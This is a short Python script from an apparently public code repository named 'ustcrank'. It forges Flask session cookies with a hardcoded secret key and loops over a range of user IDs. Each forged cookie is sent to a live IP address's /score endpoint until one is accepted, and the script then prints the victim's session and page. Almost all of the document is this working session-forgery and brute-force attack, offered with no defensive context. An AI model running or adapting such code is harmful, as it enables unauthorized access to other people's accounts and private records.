csflyer / ustcrank Goto Github PK

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Time    : 2021/2/27 11:57
# @Author  : Dawnnnnnn
# @Contact: [email protected]
import requests
import zlib
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface

secret_key = 'USTC'


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


def session_cookie_encoder(secret_key, session_cookie_structure):
    """ Encode a Flask session cookie """
    try:
        app = MockApp(secret_key)
        session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
        si = SecureCookieSessionInterface()
        s = si.get_signing_serializer(app)

        return s.dumps(session_cookie_structure)
    except Exception as e:
        return "[Encoding error]{}".format(e)


def session_cookie_decoder(session_cookie_value, secret_key=None):
    """ Decode a Flask cookie  """
    try:
        if (secret_key == None):
            compressed = False
            payload = session_cookie_value

            if payload.startswith(b'.'):
                compressed = True
                payload = payload[1:]

            data = payload.split(".")[0]

            data = base64_decode(data)
            if compressed:
                data = zlib.decompress(data)

            return data
        else:
            app = MockApp(secret_key)

            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.loads(session_cookie_value)
    except Exception as e:
        return "[Decoding error]{}".format(e)


for i in range(103581210008000, 103581210015886):
    data = {'_user_id': str(i)}
    print(i)
    brute_session = (session_cookie_encoder(secret_key, f"{data}"))
    headers = {
        "Cookie": f'session={brute_session}'
    }
    res = requests.get('http://8.129.43.182/score', headers=headers, allow_redirects=False)
    if res.status_code == 200:
        print(brute_session)
        print(res.text)
        break
    else:
        print(session_cookie_decoder(res.cookies.get('session'), secret_key))